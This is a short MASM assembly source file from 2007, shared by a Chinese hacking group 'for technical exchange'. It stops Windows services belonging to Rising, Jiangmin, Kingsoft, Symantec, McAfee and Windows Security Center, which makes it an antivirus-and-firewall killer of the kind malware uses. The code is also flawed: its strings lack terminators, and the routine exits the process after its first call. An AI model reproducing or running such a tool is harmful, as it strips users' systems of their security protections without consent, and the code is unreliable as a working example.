Copy code

;******************************************************************
;程序编写by Asm
;日期：2007-3-07日
;出处：[url]http://www.wolfexp.net/[/url]（红狼安全小组）
;注意事项：如欲转载，请保持本程序的完整，并注明：
;转载自 红狼安全小组([url]http://www.wolfexp.net/[/url])
;注意事项:公布源码仅限技术交流,如果使用引起的损失,由使用者自己全部负责!
;*****************************************************************

.386
.model flat, stdcall
option casemap :none

include windows.inc
include kernel32.inc
include advapi32.inc

includelib kernel32.lib
includelib advapi32.lib

_CloseService PROTO :DWORD

.data
s_Rsccenter db "RsCCenter"
s_Kvsrvxp db "KVSrvXP"
s_Kavsvc db "kavsvc"
s_Kpfwsvc db "KPfwSvc"
s_Kwatchsvc db "KWatchSvc"
s_Wscsvc db "wscsvc"
s_Sndsrvc db "SNDSrvc"
s_Ccproxy db "ccProxy"
s_Ccevtmgr db "ccEvtMgr"
s_Ccsetmgr db "ccSetMgr"
s_Spbbcsvc db "SPBBCSvc"
s_SymantecCoreL db "Symantec Core LC"
s_Navapsvc db "navapsvc"
s_Npfmntor db "NPFMntor"
s_Mskservice db "MskService"
s_Mctaskmanager db "McTaskManager"
s_Mcshield db "McShield"
s_Mcafeeframewo db "McAfeeFramework"

.code
_CloseService proc _Service
local hSCManager:DWORD
local hService:DWORD
local ServiceStatus:SERVICE_STATUS
  invoke OpenSCManager,NULL,NULL, SC_MANAGER_CREATE_SERVICE ;连接服务管理器
  .if eax!=0
      mov   hSCManager, eax ;连接成功，返回一个句柄
  .elseif
  jmp ExitSCManager
  .endif
      invoke OpenService, hSCManager,_Service,0F01FFh ;打开服务
      .if eax!=0
        mov hService,eax
    .elseif
    jmp ExitSCManager
      .endif
      invoke ControlService,hService,SERVICE_CONTROL_STOP,addr ServiceStatus ;停止防火墙的服务
      .if eax == NULL
      jmp ExitSCManager
      .endif
      invoke Sleep,1000
      invoke QueryServiceStatus,hService,addr ServiceStatus ;查询返回的标志
      .if eax != NULL
      cmp ServiceStatus.dwCurrentState,SERVICE_STOP_PENDING ;获取SERVICE_STOP_PENDING标志代表关闭成功
      jnz ColseIt
      .endif
     
ColseIt:
cmp ServiceStatus.dwCurrentState,1h
jz ExitSCManager
invoke CloseServiceHandle,hService
invoke CloseServiceHandle,hSCManager

ExitSCManager:
invoke CloseServiceHandle, hSCManager
invoke ExitProcess,NULL
_CloseService endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
invoke _CloseService,addr s_Rsccenter
invoke _CloseService,addr s_Kvsrvxp
invoke _CloseService,addr s_Kavsvc
invoke _CloseService,addr s_Kpfwsvc
invoke _CloseService,addr s_Kwatchsvc
invoke _CloseService,addr s_Wscsvc
invoke _CloseService,addr s_Sndsrvc
invoke _CloseService,addr s_Ccproxy
invoke _CloseService,addr s_Ccevtmgr
invoke _CloseService,addr s_Ccsetmgr
invoke _CloseService,addr s_Spbbcsvc
invoke _CloseService,addr s_SymantecCoreL
invoke _CloseService,addr s_Navapsvc
invoke _CloseService,addr s_Npfmntor
invoke _CloseService,addr s_Mskservice
invoke _CloseService,addr s_Mctaskmanager
invoke _CloseService,addr s_Mcshield
invoke _CloseService,addr s_Mcafeeframewo
end start